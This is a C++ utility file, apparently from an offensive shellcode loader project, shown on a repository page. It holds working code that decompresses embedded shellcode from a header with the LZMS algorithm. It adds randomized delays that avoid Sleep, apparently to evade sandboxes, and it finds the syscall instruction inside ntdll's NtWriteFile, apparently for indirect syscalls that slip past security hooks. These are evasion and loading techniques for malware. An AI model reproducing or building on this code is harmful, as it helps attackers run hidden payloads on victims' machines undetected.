Repository navigation
Expand file tree
/
Copy pathutil.cpp
More file actions
82 lines (70 loc) · 1.89 KB
/
Copy pathutil.cpp
File metadata and controls
82 lines (70 loc) · 1.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <Windows.h>
#include <compressapi.h>
#include <intrin.h>
#pragma comment(lib, "cabinet.lib")
#include "util.h"
#include "shellcode.h"
static DWORD randomInt(DWORD min, DWORD max)
{
return rand() % (max - min + 1) + min;
}
VOID Delay(DWORD time)
{
#ifndef _DEBUG
DWORD randTime = randomInt(time-50, time+20);
DEBUG_LOG("Sleeping for %lums\n", randTime);
//Sleep(randTime);
WaitForSingleObject(CURRENT_THREAD, randTime);
#endif
}
PUCHAR DecompressShellcode(PSIZE_T pShellcodeLength)
{
*pShellcodeLength = 0;
DECOMPRESSOR_HANDLE cmp;
if (!CreateDecompressor(COMPRESS_ALGORITHM_LZMS, nullptr, &cmp))
{
DEBUG_LOG("Failed to create decompressor: 0x%lu\n", GetLastError());
return nullptr;
}
PUCHAR decompressedShellcode = (PUCHAR)calloc(SHELLCODE_LENGTH, sizeof(UCHAR));
if (!Decompress(
cmp,
SHELLCODE,
sizeof(SHELLCODE),
decompressedShellcode,
SHELLCODE_LENGTH,
nullptr
))
{
DEBUG_LOG("Failed to decompress shellcode: 0x%lu\n", GetLastError());
free(decompressedShellcode);
return nullptr;
}
*pShellcodeLength = SHELLCODE_LENGTH;
return decompressedShellcode;
}
UINT_PTR GetSyscallInst()
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL)
{
DEBUG_LOG("Failed to get handle to ntdll.dll: 0x%lu\n", GetLastError());
return 0;
}
UINT_PTR pNtWriteFile = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteFile");
if (pNtWriteFile == 0)
{
DEBUG_LOG("Failed to get address of NtWriteFile: 0x%lu\n", GetLastError());
return 0;
}
/*
NtWriteFile:
4C 8B D1 mov r10, rcx
B8 08 00 00 00 mov eax, 8
F6 04 25 08 03 FE test byte ptr ds:7FFE0308h, 1
7F 01
75 03 jnz short loc_18009F465
0F 05 syscall
*/
return pNtWriteFile + 18;
}